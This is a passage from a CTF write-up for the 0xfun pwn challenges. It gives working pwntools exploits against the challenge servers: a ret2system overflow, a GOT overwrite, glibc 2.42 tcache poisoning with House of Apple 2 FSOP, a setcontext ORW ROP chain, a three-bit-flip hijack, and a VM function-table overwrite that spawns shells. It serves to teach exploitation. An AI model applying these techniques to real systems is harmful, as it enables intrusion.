                            s, lat=float(submit["lat"]), lng=float(submit["lng"])
                        )
                        if street:
                            flag = f"0xfun{{{street.replace(' ', '_')}}}"
                            print(f"[flag] {flag}")
                        else:
                            print("[warn] Could not OCR street name from tiles")
                        return 0
                    except Exception as e:
                        print(f"[warn] SubmitAGuess failed: {e}", file=sys.stderr)

        if i % args.report_every == 0:
            print(f"[progress] batches={i} unique_locations={total} best={best['distance']} id={best['locationId']}")

    print("[done] reached max requests without confident match")
    print(json.dumps(best, indent=2))
    return 1


if __name__ == "__main__":
    raise SystemExit(main())
```

***

## pwn

### Fridge

#### Description

A smart refrigerator has an old debugging service running. The binary (`vuln`) is a 32-bit ELF with a menu that lets you display fridge contents, set a welcome message, or exit. The "set welcome message" option uses `gets()` — a classic buffer overflow vector.

**Protections:** No PIE, No canary, NX enabled, Partial RELRO.

#### Solution

Reverse engineering reveals `set_welcome_message()` allocates a buffer at `ebp-0x2c` (44 bytes from saved EBP) and calls `gets()` on it with no bounds checking. The binary imports `system@plt` and contains the string `"/bin/sh"` in `.rodata` (embedded in the changelog: "Fixed issue that allowed bad actors to get /bin/sh").

Key addresses (no PIE, so static):

* `system@plt`: `0x080490a0`
* `"/bin/sh"` string: `0x0804a09a`
* Correct `ebx` (GOT base for PIC): `0x0804bff4`

The critical detail is that after `gets()`, the function uses `ebx` for PIC-relative addressing to call `fopen`, `fprintf`, and `fclose` before returning. If `ebx` is corrupted, these calls crash and we never reach `ret`. The saved `ebx` sits at `ebp-4` (buffer offset 40), so it must be preserved with its correct value.

Stack layout from buffer start:

* Offset 0–39: padding
* Offset 40–43: saved `ebx` (must be `0x0804bff4`)
* Offset 44–47: saved `ebp` (junk)
* Offset 48–51: return address → `system@plt`
* Offset 52–55: fake return for `system` (junk)
* Offset 56–59: argument to `system` → `"/bin/sh"`

```python
from pwn import *

SYSTEM_PLT = 0x080490a0
BIN_SH     = 0x0804a09a
EBX_VAL    = 0x0804bff4

r = remote('chall.0xfun.org', 14594)
r.sendlineafter(b'3\tExit', b'2')

payload  = b'A' * 40
payload += p32(EBX_VAL)       # preserve ebx for fopen/fprintf/fclose
payload += b'BBBB'            # fake saved ebp
payload += p32(SYSTEM_PLT)    # return to system()
payload += b'CCCC'            # fake return address for system
payload += p32(BIN_SH)        # arg: "/bin/sh"

r.sendline(payload)
r.interactive()
```

Flag: `0xfun{4_ch1ll1ng_d1sc0v3ry!p1x3l_b3at_r3v3l4t1ons_c0d3x_b1n4ry_s0rcery_unl3@sh3d!}`

### What you have

#### Description

Pwn challenge (100 pts). We're given a 64-bit ELF binary with **No RELRO**, **No PIE**, stack canary, and NX enabled. The binary gives us an arbitrary write primitive and there's an unreachable `win` function that reads and prints `flag.txt`.

#### Solution

Reversing `main` reveals it reads two `unsigned long` values via `scanf("%lu")`:

1. An **address** (stored at `rbp-0x18`)
2. A **value** (stored at `rbp-0x10`)

It then performs `*(address) = value` — a single arbitrary write. After the write, it calls `puts("Goodbye!")`.

Since **RELRO is disabled**, the GOT is writable. Since **PIE is disabled**, all addresses are fixed. We overwrite `puts@GOT` (`0x403430`) with the address of `win` (`0x401236`), so when `puts("Goodbye!")` executes, it jumps to `win` instead, which opens `flag.txt` and prints the flag.

```python
from pwn import *

elf = ELF('./attachments/chall')

puts_got = elf.got['puts']    # 0x403430
win_addr = elf.symbols['win'] # 0x401236

r = remote('chall.0xfun.org', 57901)

r.recvuntil(b'GOT!')
r.sendline(str(puts_got).encode())

r.recvuntil(b'GOT!')
r.sendline(str(win_addr).encode())

output = r.recvall(timeout=5)
print(output.decode())
```

Flag: `0xfun{g3tt1ng_schw1fty_w1th_g0t_0v3rwr1t3s_1384311_m4x1m4l}`

### 67

#### Description

"A simple note taker" - A heap exploitation challenge with a note management binary (PIE, Full RELRO, Canary, NX) linked against glibc 2.42.

#### Solution

The binary provides four operations on up to 10 notes (indices 0-9): create (malloc + read), delete (free), read (write to stdout), and edit (read from stdin). The vulnerability is a **Use-After-Free** in `delete_note`: it calls `free(notes[idx])` but never sets `notes[idx] = NULL` or clears `sizes[idx]`, allowing read/write access to freed chunks.

**Strategy: Tcache poisoning + House of Apple 2 (FSOP)**

Since glibc 2.42 has safe-linking on tcache and no `__free_hook`/`__malloc_hook` checking, we use FSOP via `_IO_wfile_overflow` to call `system(" sh")`.

1. **Leak libc**: Allocate 8 chunks of size 0x400 + a guard chunk. Free chunks 0-6 (fills tcache for 0x410 bin), free chunk 7 (goes to unsorted bin with libc pointers). UAF read on chunk 7 leaks `main_arena` address → libc base.
2. **Leak heap**: UAF read on chunk 0 (tcache tail) gives `chunk0_addr >> 12` due to safe-linking (mangled NULL). Demangle chunk 1's fd pointer to get exact `chunk0_addr`.
3. **Tcache poisoning**: Allocate two small chunks (0x100) from the unsorted bin remainder, free both into 0x110 tcache, then UAF-edit the head's fd pointer to `_IO_list_all` (mangled with safe-linking). Two allocations: first pops the real chunk, second returns `_IO_list_all` where we write a pointer to our fake FILE structure.
4. **Fake FILE (House of Apple 2)**: In a 0x400 chunk popped from tcache, construct:
   * Fake `_IO_FILE_plus` with `_flags = " sh"` (0x68732020), `_IO_write_ptr > _IO_write_base`, `vtable = _IO_wfile_jumps`, `_wide_data` pointing to fake wide data
   * Fake `_IO_wide_data` with `_IO_write_base = 0`, `_IO_buf_base = 0`, `_wide_vtable` pointing to fake wide vtable
   * Fake wide vtable with `__doallocate` (offset 0x68) = `system`
5. **Trigger**: Call exit (option 5) → `_IO_flush_all_lockp` iterates `_IO_list_all` → finds our fake FILE with dirty write buffer → calls `_IO_OVERFLOW` via `_IO_wfile_jumps` → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `_IO_WDOALLOCATE(fp)` → `system(fp)` where fp starts with `" sh\x00"`.

```python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./chall')
libc = ELF('./libc.so.6')

UNSORTED_BIN_OFFSET = 0x1e7b20

def conn():
    if args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    return process(['./ld-linux-x86-64.so.2', '--library-path', '.', './chall'])

p = conn()

def menu_wait(): p.recvuntil(b'> ')
def create(idx, size, data):
    p.sendline(b'1'); p.recvuntil(b'Index: '); p.sendline(str(idx).encode())
    p.recvuntil(b'Size: '); p.sendline(str(size).encode()); p.recvuntil(b'Data: ')
    if len(data) < size: data = data.ljust(size, b'\x00')
    p.send(data[:size]); p.recvuntil(b'> ')
def delete(idx):
    p.sendline(b'2'); p.recvuntil(b'Index: '); p.sendline(str(idx).encode()); p.recvuntil(b'> ')
def read_note(idx):
    p.sendline(b'3'); p.recvuntil(b'Index: '); p.sendline(str(idx).encode())
    p.recvuntil(b'Data: '); data = p.recvuntil(b'1. Create', drop=True); p.recvuntil(b'> ')
    return data
def edit(idx, data):
    p.sendline(b'4'); p.recvuntil(b'Index: '); p.sendline(str(idx).encode())
    p.recvuntil(b'New Data: '); p.send(data); p.recvuntil(b'> ')
def mangle(t, l): return t ^ (l >> 12)
def demangle_ptr(v):
    r = v
    for _ in range(4): r = v ^ (r >> 12)
    return r

menu_wait()

# Phase 1: Leak libc and heap
for i in range(8): create(i, 0x400, b'A' * 8)
create(8, 0x20, b'G' * 8)
for i in range(7): delete(i)
delete(7)

data7 = read_note(7); libc_leak = u64(data7[:8]); libc.address = libc_leak - UNSORTED_BIN_OFFSET
log.success(f"libc base: {hex(libc.address)}")

data0 = read_note(0); heap_base = u64(data0[:8]) << 12
data1 = read_note(1); chunk0_addr = demangle_ptr(u64(data1[:8]))
log.success(f"heap base: {hex(heap_base)}, chunk0: {hex(chunk0_addr)}")

chunk7_addr = chunk0_addr + 7 * 0x410
chunk6_addr = chunk0_addr + 6 * 0x410

# Phase 2: Tcache poisoning setup
create(7, 0x100, b'P' * 8); note7_addr = chunk7_addr
create(9, 0x100, b'Q' * 8)
create(0, 0x400, b'X' * 0x400); fake_file_addr = chunk6_addr

delete(9); delete(7)
target = libc.sym._IO_list_all
edit(7, p64(mangle(target, note7_addr)).ljust(0x100, b'\x00'))
create(7, 0x100, b'R' * 8)

# Phase 3: Build fake FILE (House of Apple 2)
system_addr = libc.sym.system
io_wfile_jumps = libc.sym._IO_wfile_jumps
fake_wide_data_addr = fake_file_addr + 0x100
fake_wide_vtable_addr = fake_file_addr + 0x200
lock_addr = fake_file_addr + 0x300

fake_file = flat({
    0x00: p32(0x68732020) + p32(0),  # _flags = "  sh"
    0x28: p64(1),                     # _IO_write_ptr = 1
    0x88: p64(lock_addr),             # _lock
    0xa0: p64(fake_wide_data_addr),   # _wide_data
    0xd8: p64(io_wfile_jumps),        # vtable
}, filler=b'\x00', length=0x100)

fake_wide = flat({
    0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
}, filler=b'\x00', length=0x100)

fake_wvtable = flat({
    0x68: p64(system_addr),           # __doallocate -> system
}, filler=b'\x00', length=0x100)

payload = fake_file + fake_wide + fake_wvtable + b'\x00' * 0x100
edit(0, payload)

# Phase 4: Write fake FILE addr to _IO_list_all
create(9, 0x100, p64(fake_file_addr))
log.success(f"_IO_list_all -> {hex(fake_file_addr)}")

# Phase 5: Trigger FSOP
p.sendline(b'5')
p.interactive()
```

**Flag:** `0xfun{p4cm4n_Syu_br0k3_my_xpl0it_btW}`

### 67 revenge

#### Description

`six-seven-revenge` is a 16-slot heap note manager (create/delete/read/edit). `delete` correctly NULLs pointers (no UAF), but `edit` has an off-by-one NUL write:

* `edit(idx)`: `n = read(0, note, size); note[n] = '\0';`
* If `n == size`, this writes 1 byte past the user buffer.

The binary is PIE with Full RELRO/Canary/NX. A seccomp filter blocks `execve`, so we must leak + gain control flow and then do ORW (open/read/write) to print `flag.txt`.

#### Solution

Exploit outline (glibc 2.42 behavior matters):

1. **Libc + heap leak via largebin reallocation**
   * Allocate `A(0x438)`, `B(0x4f0)`, `guard`.
   * Free `A`, then allocate a `0x500` chunk to move `A` into the largebin.
   * Reallocate `A` and only overwrite a few bytes; largebin pointers remain in the user area.
   * Leak `bk` at `A+8` for `libc_base`, and leak `a_base` (chunk base) at `A+0x10` (largebin nextsize pointer).
2. **House of Einherjar-style backward consolidation (poison null)**
   * For request size `0x438`, `malloc_usable_size == 0x438` on this glibc, so the off-by-one NUL lands at the **LSB of the next chunk’s `size`**, clearing `PREV_INUSE`.
   * The last 8 bytes of `A`’s user data overlap `B.prev_size`, so we set `B.prev_size = 0x440`.
   * `free(B)` now consolidates backward into `A`, yielding a dangling pointer in slot `A`.
   * Must also forge `A`’s largebin `fd/bk` **and** `fd_nextsize/bk_nextsize` to self, otherwise `unlink_chunk()` crashes.
3. **Tcache poisoning to write into libc**
   * Use the dangling `A` pointer (pointing into freed consolidated chunk) to corrupt a freed tcache entry’s `fd` (safe-linking).
   * We drain possible pre-filled `tcache(0x110)` by allocating until we observe an allocation overlapping `A` at `a_user`.
   * Free that allocation into tcache and overwrite its `fd` so the next `malloc(0x100)` returns `_IO_2_1_stdout_`.
4. **FSOP (House of Apple 2) → `setcontext+0x3d` → ORW ROP**
   * Overwrite `stdout` to use `_IO_wfile_jumps` and controlled `_wide_data`.
   * When the program prints menu strings, libc uses `_IO_puts()` which ends up calling vtable functions and triggers `_IO_wfile_overflow()` → `_IO_wdoallocbuf()`.
   * `_IO_wdoallocbuf()` calls `wide_data->_wide_vtable->doallocate` with `rdx == FILE*`, so we set `doallocate = setcontext+0x3d`.
   * `setcontext+0x3d` loads `rsp/rbp/rip` from the (corrupted) `stdout` struct, pivoting to a ROP chain placed in a heap “context” chunk.
   * ROP chain performs ORW on `flag.txt` and prints it.

Run:

* Local: `python3 solve.py`
* Remote: `python3 solve.py remote chall.0xfun.org 34113`

Full exploit code (`solve.py`):

```python
#!/usr/bin/env python3
from pwn import *
import os
import re
import sys

context.log_level = os.environ.get("LOG", "error")

elf = ELF("./attachments/chall")
context.binary = elf
libc = ELF("./attachments/libc.so.6")

HOST = "chall.0xfun.org"
PORT = 18718

# Leak method used here (0x438 chunk forced into largebin, then reallocated):
# bk leak at data[8:16] gives libc_base = bk - 0x1e7f20 (measured locally).
LIBC_BK_OFF = 0x1E7F20

# glibc 2.42 gadgets/offsets for provided libc
OFF_SETCONTEXT_0x3D = 0x4428D
OFF_POP_RDI = 0x102DEA
OFF_POP_RSI = 0x53847
OFF_POP_RAX = 0xD4F97
OFF_SYSCALL_RET = 0x93A56
OFF_ADD_RSP_0x38 = 0x11E20A
OFF_POP_RDX_LEAVE = 0x92CCD
OFF_MOV_RDX_RAX = 0x1284C7


def start():
    if len(sys.argv) > 1 and sys.argv[1] == "remote":
        host = HOST
        port = PORT
        if len(sys.argv) >= 4:
            host = sys.argv[2]
            port = int(sys.argv[3])
        return remote(host, port)

    root = os.path.abspath("attachments")
    ld = os.path.join(root, "ld-linux-x86-64.so.2")
    bin_path = os.path.join(root, "chall")
    return process([ld, "--library-path", root, bin_path])


def recv_menu(p):
    p.recvuntil(b"> ")


def create(p, idx, size, data: bytes, *, wait=True):
    p.sendline(b"1")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Data: ")
    p.send(data)
    if wait:
        recv_menu(p)


def delete(p, idx):
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    recv_menu(p)


def read_note(p, idx, size) -> bytes:
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Data: ")
    data = p.recvn(size)
    p.recvuntil(b"\n")
    recv_menu(p)
    return data


def edit(p, idx, data: bytes):
    p.sendline(b"4")
    p.recvuntil(b"Index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Data: ")
    p.send(data)
    recv_menu(p)


def p64_(x):
    return p64(x & 0xFFFFFFFFFFFFFFFF)


def mangle(target: int, loc: int) -> int:
    return target ^ (loc >> 12)


def build_fake_file(libc_base: int, fake_file_addr: int) -> bytes:
    raise NotImplementedError("replaced by build_ctx_area/build_stdout_overwrite")


def build_ctx_area(libc_base: int, ctx_addr: int) -> bytes:
    libc.address = libc_base

    wvtable = ctx_addr + 0x300
    lock = ctx_addr + 0x3E0
    stage2 = ctx_addr + 0x180

    filename = ctx_addr + 0x2C0
    buf = ctx_addr + 0x2D0

    pop_rdi = libc_base + OFF_POP_RDI
    pop_rsi = libc_base + OFF_POP_RSI
    pop_rax = libc_base + OFF_POP_RAX
    mov_rdx_rax = libc_base + OFF_MOV_RDX_RAX
    syscall_ret = libc_base + OFF_SYSCALL_RET
    setcontext_0x3d = libc_base + OFF_SETCONTEXT_0x3D
    pop_rdx_leave = libc_base + OFF_POP_RDX_LEAVE

    ctx = bytearray(b"\x00" * 0x438)

    def w64(off, val):
        ctx[off : off + 8] = p64_(val)

    # wide_data checks
    w64(0x18, 0)
    w64(0x30, 0)
    w64(0xE0, wvtable)  # wide_data->_wide_vtable

    # wide_vtable->doallocate => setcontext+0x3d
    if os.environ.get("DOALLOC_NULL") == "1":
        w64(0x300 + 0x68, 0)
    else:
        w64(0x300 + 0x68, setcontext_0x3d)

    # Stage 1: after add rsp,0x38; ret, run pop rdx; leave; ret to set rdx and pivot to stage2.
    w64(0x38, pop_rdx_leave)
    w64(0x40, 0x100)  # rdx = 0x100

    # Stage 2 chain at [stage2], reached via leave (rbp preset by setcontext from stdout+0x78).
    off = stage2 - ctx_addr
    w64(off + 0x00, 0)  # new rbp after leave

    rop = [
        pop_rdi,
        filename,
        pop_rsi,
        0,
        pop_rax,
        2,
        syscall_ret,
        pop_rdi,
        3,
        pop_rsi,
        buf,
        pop_rax,
        0,
        syscall_ret,
        mov_rdx_rax,  # rdx = bytes_read
        pop_rdi,
        1,
        pop_rsi,
        buf,
        pop_rax,
        1,
        syscall_ret,
        pop_rdi,
        0,
        pop_rax,
        60,
        syscall_ret,
    ]
    rop_bytes = b"".join(p64_(x) for x in rop)
    ctx[off + 0x08 : off + 0x08 + len(rop_bytes)] = rop_bytes

    # strings/buffers/lock area
    ctx[0x2C0 : 0x2C0 + len(b"flag.txt\x00")] = b"flag.txt\x00"
    # buf at 0x2D0 stays zeroed
    # lock at 0x3E0 stays zeroed
    _ = lock

    return bytes(ctx)


def build_stdout_overwrite(libc_base: int, ctx_addr: int) -> bytes:
    libc.address = libc_base
    io_wfile_jumps = libc.sym["_IO_wfile_jumps"]

    add_rsp_0x38 = libc_base + OFF_ADD_RSP_0x38

    lock = ctx_addr + 0x3E0
    wide = ctx_addr  # wide_data lives at start of ctx
    stage2 = ctx_addr + 0x180

    out = bytearray(b"\x00" * 0x100)

    def w64(off, val):
        out[off : off + 8] = p64_(val)

    def w32(off, val):
        out[off : off + 4] = p32(val & 0xFFFFFFFF)

    w32(0x00, 0x200)  # _IO_LINE_BUF
    w64(0x20, 0)
    w64(0x28, 1)
    w64(0x88, lock)  # _lock (also becomes initial rdx in setcontext)
    w64(0xA0, wide)  # _wide_data (also becomes RSP in setcontext)
    # Keep _mode <= 0 so libc treats stdout as unoriented and still calls
    # vtable->xsputn from _IO_puts(). Setting _mode > 0 makes _IO_puts fail.
    w32(0xC0, 0)
    if os.environ.get("VTABLE_NULL") == "1":
        w64(0xD8, 0)
    else:
        w64(0xD8, io_wfile_jumps)  # vtable

    # setcontext+0x3d loads these from fp (rdx==fp)
    w64(0x78, stage2)  # rbp for our leave pivot
    w64(0x80, 0)  # rbx
    w64(0xA8, add_rsp_0x38)  # initial RIP (after setcontext)

    return bytes(out)


def exploit(p):
    recv_menu(p)

    A_IDX = 0
    B_IDX = 1
    G_IDX = 2
    BIN_IDX = 3

    # =========================
    # Stage 1: Leak libc + heap
    # =========================
    create(p, A_IDX, 0x438, b"A")
    create(p, B_IDX, 0x4F0, b"B")
    create(p, G_IDX, 0x20, b"C" * 0x20)

    delete(p, A_IDX)
    create(p, BIN_IDX, 0x500, b"D")
    create(p, A_IDX, 0x438, b"X" * 8)

    leak = read_note(p, A_IDX, 0x438)
    bk = u64(leak[8:16])
    libc_base = bk - LIBC_BK_OFF
    libc.address = libc_base

    a_base = u64(leak[0x10:0x18])
    if a_base == 0:
        log.failure("Heap leak failed (a_base == 0).")
        return None

    a_user = a_base + 0x10

    # ==========================================
    # Stage 2: Poison null -> free(B) consolidates
    # ==========================================
    payload = p64_(a_base) * 4
    payload = payload.ljust(0x430, b"P")
    payload += p64_(0x440)  # B.prev_size
    assert len(payload) == 0x438
    edit(p, A_IDX, payload)

    delete(p, B_IDX)

    # =====================================
    # Stage 3: Poison stdout (FSOP -> setcontext -> ORW)
    # =====================================
    VICTIM_IDX = None
    drain_idxs = list(range(4, 11))  # 7 slots
    for i in drain_idxs:
        marker = bytes([i]) * 8
        create(p, i, 0x100, marker)
        head = read_note(p, A_IDX, 0x438)
        if head[:8] == marker:
            VICTIM_IDX = i
            break

    if VICTIM_IDX is None:
        log.failure("Failed to allocate victim overlapping A (tcache drain heuristic).")
        return None

    CTX_IDX = 12
    POP1_IDX = 13
    STDOUT_IDX = 14

    ctx_addr = a_base + 0x120
    ctx_payload = build_ctx_area(libc_base, ctx_addr)
    create(p, CTX_IDX, 0x438, ctx_payload)

    delete(p, VICTIM_IDX)

    stdout_addr = libc.sym["_IO_2_1_stdout_"]
    poisoned = mangle(stdout_addr, a_user)
    edit(p, A_IDX, p64_(poisoned))

    create(p, POP1_IDX, 0x100, b"p" * 8)

    stdout_payload = build_stdout_overwrite(libc_base, ctx_addr)
    create(p, STDOUT_IDX, 0x100, stdout_payload, wait=False)

    p.sendline(b"5")
    out = p.recvrepeat(2)
    return out


def main():
    p = start()
    out = exploit(p)
    if out is None:
        sys.exit(1)
    m = re.search(rb"0xfun\\{[^}]+\\}", out)
    if m:
        sys.stdout.write(m.group(0).decode(errors="replace") + "\n")
    else:
        sys.stdout.buffer.write(out)


if __name__ == "__main__":
    main()
```

### bit\_flips

#### Description

can you do it in just 3 bit flips?

A PIE binary with Full RELRO, NX, and stack canary. The program leaks `&main`, `&system`, a stack address, and `sbrk(NULL)`, then lets you flip exactly 3 individual bits at arbitrary writable addresses. An unreachable `cmd()` function reads lines from a FILE pointer `f` (opened on `./commands`) and passes each to `system()`.

#### Solution

**Key observations:**

1. **`cmd()` is never called** but calls `system()` on lines read from the FILE pointer `f` (global at `base+0x4050`). If we redirect execution there and make it read from stdin instead, we get arbitrary command execution.
2. **`.text` is not writable** (R-X), so we can't patch code. But the stack and heap (.data/.bss) are writable.
3. **vuln's return address** on the stack (at `&address + 0x18`) is `base+0x1422`. Flipping bit 3 changes it to `base+0x142a` = `cmd+1` (skipping `push rbp`, which still works because `leave; ret` restores the frame correctly). **Cost: 1 bit flip.**
4. **The FILE struct's `_fileno` field** (at offset `+0x70` in the struct) determines which fd `fgets()` reads from. The `f` FILE struct is on the heap at `sbrk(NULL) - 0x20cf0` (first malloc'd FILE from `fopen`). Its `_fileno = 3` (the opened commands file). Changing it to `0` (stdin) requires flipping bits 0 and 1 (`3 XOR 0 = 0b11`). **Cost: 2 bit flips.**

**The 3 flips:**

1. Flip bit 0 at `sbrk - 0x20cf0` → `_fileno: 3 → 2`
2. Flip bit 1 at `sbrk - 0x20cf0` → `_fileno: 2 → 0` (stdin)
3. Flip bit 3 at `&address + 0x18` → return address: `0x1422 → 0x142a` (cmd+1)

After the flips, `vuln()` returns to `cmd()`, which reads from stdin via `fgets()` and calls `system()` on our input. We send `cat flag`.

```python
#!/usr/bin/env python3
from pwn import *
import sys

context.binary = './attachments/bitflips_files/main'

HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5000

if len(sys.argv) > 1:
    r = remote(HOST, PORT)
else:
    r = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './main_orig'])

# Receive the banner and leaks
r.recvuntil(b'&main = ')
main_addr = int(r.recvline().strip(), 16)
r.recvuntil(b'&system = ')
system_addr = int(r.recvline().strip(), 16)
r.recvuntil(b'&address = ')
address_addr = int(r.recvline().strip(), 16)
r.recvuntil(b'sbrk(NULL) = ')
sbrk_addr = int(r.recvline().strip(), 16)

base = main_addr - 0x1405
log.info(f"base = {hex(base)}")
log.info(f"sbrk = {hex(sbrk_addr)}")

# Return address of vuln is at &address + 0x18
ret_addr_loc = address_addr + 0x18

# f FILE struct is on the heap at sbrk - 0x20cf0
# _fileno field is at f + 0x70 = sbrk - 0x20cf0
fileno_addr = sbrk_addr - 0x20cf0

log.info(f"ret_addr_loc = {hex(ret_addr_loc)}")
log.info(f"fileno_addr  = {hex(fileno_addr)}")

# Flip 1: Change _fileno from 3 to 2 (flip bit 0)
log.info(f"Flip 1: fileno bit 0 at {hex(fileno_addr)} (3 -> 2)")
r.recvuntil(b'> ')
r.sendline(f'{fileno_addr:x}'.encode())
r.sendline(b'0')

# Flip 2: Change _fileno from 2 to 0 (flip bit 1)
log.info(f"Flip 2: fileno bit 1 at {hex(fileno_addr)} (2 -> 0)")
r.recvuntil(b'> ')
r.sendline(f'{fileno_addr:x}'.encode())
r.sendline(b'1')

# Flip 3: Change vuln return address from base+0x1422 to base+0x142a (cmd+1)
# 0x22 ^ 0x08 = 0x2a, flip bit 3
log.info(f"Flip 3: ret addr bit 3 at {hex(ret_addr_loc)} (0x1422 -> 0x142a)")
r.recvuntil(b'> ')
r.sendline(f'{ret_addr_loc:x}'.encode())
r.sendline(b'3')

# Now vuln returns to cmd+1, cmd reads from fd 0 (stdin) and calls system()
sleep(1)
r.sendline(b'cat flag')
r.interactive()
```

**Flag:** `0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8}`

### chaos

#### Description

A custom VM ("CHAOS ENGINE") that takes hex-encoded bytecode, decodes it, and executes it. The VM has 7 opcodes, 8 registers, and a "chaos byte" that XOR-encrypts bytecode at runtime and mutates after each instruction.

#### Solution

**Binary analysis** (no PIE, Full RELRO, no canary, NX enabled):

The VM has these opcodes (dispatched through a writable function pointer table at `0x404020`):

| Opcode | Function | Description                                                                  |
| ------ | -------- | ---------------------------------------------------------------------------- |
| 0      | HALT     | Sets running=0, prints halt message                                          |
| 1      | SET      | `reg[byte2] = byte3` (0-255)                                                 |
| 2      | ADD      | `reg[byte2] += reg[byte3]`, chaos ^= result\_lo                              |
| 3      | XOR      | `reg[byte2] ^= reg[byte3]`, chaos ^= result\_lo                              |
| 4      | LOAD     | `reg[byte2] = *(0x4040e0 + reg[byte3])`, bounds: 0..0xff7                    |
| 5      | STORE    | `*(0x4040e0 + reg[byte3]) = reg[byte2]`, bounds: only `<= 0xfff` (signed)    |
| 6      | DEBUG    | Leaks `system@plt` address, calls `system("echo stub")` if arg == 0xdeadc0de |

Each instruction is 3 bytes, XOR-decrypted with a "chaos byte" (starts at 0x55, changes after each instruction: `chaos += 0x13`, plus function-specific mutations).

**Vulnerability**: The STORE opcode checks `offset <= 0xfff` using a signed comparison (`jle`) but has **no lower-bound check**. Negative offsets pass the check (e.g., -192 < 4095), allowing writes to addresses below `0x4040e0` — including the **function pointer table** at `0x404020`.

**Exploit strategy**:

1. **Build `0xFFFFFFFFFFFFFFFF`** in memory by storing `0xFF` at 8 consecutive byte offsets (overlapping qword writes), then LOAD the qword
2. **Compute negative offset** `-0xC0` via `XOR(0xFFFFFFFFFFFFFFFF, 0xBF) = 0xFFFFFFFFFFFFFF40` — this reaches `0x404020` (function table entry 0)
3. **Build `system@plt` address** (`0x401090`) in memory via byte-by-byte qword construction, then LOAD it
4. **Write "sh" string** in VM memory at a known address (`0x404100`)
5. **Build pointer to "sh"** (`0x404100`) in a register
6. **Overwrite `func_table[0]`** (HALT handler) with `system@plt` using STORE with negative offset
7. **Trigger opcode 0** with register pointing to "sh" → calls `system("sh")` → shell

```python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

OP_HALT  = 0
OP_SET   = 1
OP_ADD   = 2
OP_XOR   = 3
OP_LOAD  = 4
OP_STORE = 5
OP_DEBUG = 6

class ChaosAssembler:
    def __init__(self):
        self.chaos = 0x55
        self.regs = [0] * 8
        self.memory = {}
        self.bytecode = bytearray()

    def _mem_write_qword(self, offset, value):
        for i in range(8):
            addr = (offset + i) & 0xFFFFFFFFFFFFFFFF
            self.memory[addr] = (value >> (i * 8)) & 0xFF

    def _mem_read_qword(self, offset):
        value = 0
        for i in range(8):
            value |= self.memory.get(offset + i, 0) << (i * 8)
        return value

    def emit(self, opcode, byte2, byte3):
        raw0 = (opcode ^ self.chaos) & 0xFF
        raw1 = (byte2 ^ self.chaos) & 0xFF
        raw2 = (byte3 ^ self.chaos) & 0xFF
        self.bytecode.extend([raw0, raw1, raw2])

        if opcode == OP_SET:
            if 0 <= byte2 <= 7:
                self.regs[byte2] = byte3
        elif opcode == OP_ADD:
            if 0 <= byte2 <= 7 and 0 <= byte3 <= 7:
                self.regs[byte2] = (self.regs[byte2] + self.regs[byte3]) & 0xFFFFFFFFFFFFFFFF
                self.chaos = (self.chaos ^ (self.regs[byte2] & 0xFF)) & 0xFF
        elif opcode == OP_XOR:
            if 0 <= byte2 <= 7 and 0 <= byte3 <= 7:
                self.regs[byte2] = (self.regs[byte2] ^ self.regs[byte3]) & 0xFFFFFFFFFFFFFFFF
                self.chaos = (self.chaos ^ (self.regs[byte2] & 0xFF)) & 0xFF
        elif opcode == OP_LOAD:
            if 0 <= byte2 <= 7 and 0 <= byte3 <= 7:
                offset = self.regs[byte3]
                if 0 <= offset <= 0xff7:
                    self.regs[byte2] = self._mem_read_qword(offset)
        elif opcode == OP_STORE:
            if 0 <= byte3 <= 7:
                offset = self.regs[byte3]
                value = self.regs[byte2] if 0 <= byte2 <= 7 else 0
                self._mem_write_qword(offset, value)
            self.chaos = (self.chaos + 1) & 0xFF

        self.chaos = (self.chaos + 0x13) & 0xFF

    def get_payload(self):
        return self.bytecode.hex()


def build_payload():
    asm = ChaosAssembler()

    # Phase 1: Build 0xFFFFFFFFFFFFFFFF via overlapping STORE writes
    asm.emit(OP_SET, 0, 0xFF)
    for off in range(8):
        asm.emit(OP_SET, 1, off)
        asm.emit(OP_STORE, 0, 1)

    # Phase 2: Load all-ones into r2
    asm.emit(OP_SET, 1, 0)
    asm.emit(OP_LOAD, 2, 1)  # r2 = 0xFFFFFFFFFFFFFFFF

    # Phase 3: Compute -0xC0 offset to function table
    asm.emit(OP_SET, 3, 0xBF)
    asm.emit(OP_XOR, 2, 3)   # r2 = 0xFFFFFFFFFFFFFF40

    # Phase 4: Build system@plt (0x401090) in memory
    asm.emit(OP_SET, 4, 0x90); asm.emit(OP_SET, 1, 16); asm.emit(OP_STORE, 4, 1)
    asm.emit(OP_SET, 4, 0x10); asm.emit(OP_SET, 1, 17); asm.emit(OP_STORE, 4, 1)
    asm.emit(OP_SET, 4, 0x40); asm.emit(OP_SET, 1, 18); asm.emit(OP_STORE, 4, 1)

    # Phase 5: Load 0x401090 into r4
    asm.emit(OP_SET, 1, 16)
    asm.emit(OP_LOAD, 4, 1)

    # Phase 6: Write "sh" string at offset 32 (address 0x404100)
    asm.emit(OP_SET, 5, 0x73); asm.emit(OP_SET, 1, 32); asm.emit(OP_STORE, 5, 1)
    asm.emit(OP_SET, 5, 0x68); asm.emit(OP_SET, 1, 33); asm.emit(OP_STORE, 5, 1)

    # Phase 7: Build address 0x404100 in memory
    asm.emit(OP_SET, 5, 0x41); asm.emit(OP_SET, 1, 49); asm.emit(OP_STORE, 5, 1)
    asm.emit(OP_SET, 5, 0x40); asm.emit(OP_SET, 1, 50); asm.emit(OP_STORE, 5, 1)

    # Phase 8: Load 0x404100 into r5
    asm.emit(OP_SET, 1, 48)
    asm.emit(OP_LOAD, 5, 1)

    # Phase 9: Overwrite func_table[0] with system@plt
    asm.emit(OP_STORE, 4, 2)  # *(0x404020) = 0x401090
